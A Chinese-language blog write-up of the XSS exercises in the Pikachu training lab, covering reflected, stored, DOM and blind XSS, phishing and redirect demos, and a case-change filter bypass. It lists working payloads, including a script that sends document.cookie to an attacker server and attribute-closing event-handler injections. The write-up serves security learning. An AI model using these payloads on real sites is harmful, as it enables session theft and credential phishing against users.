pikachu-xss

1. xss -跨站脚本攻击

1.1 XSS简单介绍

XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户

XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制

1.1.1 攻击流程

假设存在漏洞的是一个论坛,攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中

当用户访问这个页面时,都会执行这个恶意的JS代码,这个代码就会在用户的浏览器端执行

1.1.2 XSS攻击类型

危害:存储型 > 反射型 > DOM型

  • 反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等
  • 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面
  • DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型

1.1.3 XSS形成原因

形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格

导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行

1.1.4 XSS漏洞测试流程

  1. 在目标上找输入点,比如查询接口、留言板
  2. 输入一组 “特殊字符(>,’,"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理
  3. 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)
  4. 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

1.2 反射型XSS(get)

窗口叫我们输入一个球星,我们输入kebo

202111091758507.png

他返回了一张图片

202111091758509.png

输入特殊字符也没有进行过滤

202111091758510.png

这其实是最简单的get-反射型xss,一般我们用这种简单的弹窗就可以测试了

<script>alert("寄")</script>

我们这个输入框有限制字符数量,我们在F12里面进行修改

202111091758511.png

输入代码,得到回显

1.3 盗取cookie实例

  • 攻击流程

    202111101738093.png

    我们的流程就是当用户访问存在XSS的漏洞页面的时候,触发我们的js语句。然后返回执行的脚本,将用户的cookie返回到攻击者手中。

    202111101738095.png

    上面的js代码就是将用户的cookie发送到攻击者的服务器然后再重定向返回原来的网站。这样我们就盗取了用户的cookie。

202111101738096.png

1.4 反射型XSS(post)

这道题多了一个登录表单,我们先正常登录

202111101738097.png

202111101738098.png

然后我们就来到了和GET一样的表单界面。但是post表单和get表单存在非常不同的地方就是他们提交的URL

  • 以GET方式提交,URL里面携带有我们的参数。比如我们的恶意代码

    <script>document.location = 'http://192.168.147.145:8000/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

  • 而当我们以POST方式提交,URL里面没有参数。这使得我们能很好的隐藏自己的JS代码

1.5 存储型XSS

存储型XSS和反射型XSS形成的条件是相同的,他们的区别是,反射型XSS能够立即触发造成影响,而存储型XSS能够长久的存在在JS代码中甚至存储到数据库中,直到管理员或者用户触发。

我们直接在留言板留下触发的JS代码

202111101738099.png

发现是能够执行的

202111101738100.png

甚至我们在下一次点开他的时候,他也触发执行了。这也就是上面说的存储到数据库中能够长久执行。

1.6 钓鱼攻击实例

当网站存在存储型XSS时,我们就可以利用其进行钓鱼攻击,获得网站用户的用户名以及密码。

钓鱼攻击一般使用的是Basic认证

我们在这个页面上嵌入一个恶意请求,当用户打开这个页面时, 就会向攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部: 会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码。(比较明显的攻击方式)

202111101738101.png

其实这个登录窗口压根与网站无关,但是一旦有用户没有发现,我们就可以窃取到他的用户名和密码。

202111101738102.png

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3BUtERAA-1636594844626)(https://github.com/1196232799/picBED/blob/master/202111101738103.png?raw=true)]

1.7 跳转攻击实例

将以下代码存入留言板,我们就可以实现网页跳转

202111101738104.png

202111101738105.png

1.8 DOM型XSS

1.8.1 什么是DOM

DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树

202111101738106.png

我们可以以这棵树为入口,通过DOM的某些方法对树进行操作,比如对标签的添加、改变和删除等等

DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口

1.8.2 XSS实例

1.8.2.1 利用绕过闭合

202111101738107.png

源码

<script>
    function domxss(){
        var str = document.getElementById("text").value;
        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
        }
//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>

查看源码可以了解到它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str

然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中

我们通过闭合的方式构造Payload

'><img src="#" οnmοuseοver="alert('xss')">
' οnclick="alert('xss')">

点击what do you see 可以触发XSS

202111101738108.png

202111101738109.png

1.8.2.2 利用JavaScript伪协议

其实在网页源代码里面可以看到点击链接以后会生成 a 标签202111101738110.png

javascript:alert("寄!!")

202111101738111.png

1.8.3 XSS-X实例

202111101738112.png

<script>
   	function domxss(){
    	var str = window.location.search;
        var txss = decodeURIComponent(str.split("text=")[1]);
        var xss = txss.replace(/\+/g,' ');
//                        alert(xss);
       	document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                	}
//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>

这个js代码定义了一个domxss函数,它利用 window.location.search 获取浏览器中URL的内容,然后赋值给 str。

然后经过URL解码和字符串分隔,取出URL中的参数内容。

再把 “+” 替换为 “ ”(空格),赋值给 xss, 最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。

跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get), 构造的Payload跟刚才是一样的。

202111101738113.png

1.9 XSS之盲打

这个就是提交给后台触发了,当我们将JS代码插入,管理员一旦从后端打开就会触发

202111101738114.png

这里打开后台直接就触发了

202111101738115.png

1.10 XSS之过滤

全小写的JS代码被过滤了

202111101738116.png

但是我们将他替换成大写就可以绕过

202111101738117.png

202111101738118.png

实战中绕过有很多方法,如大小写混写,双写,利用其他解码方式之类,这里不扩展说明。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值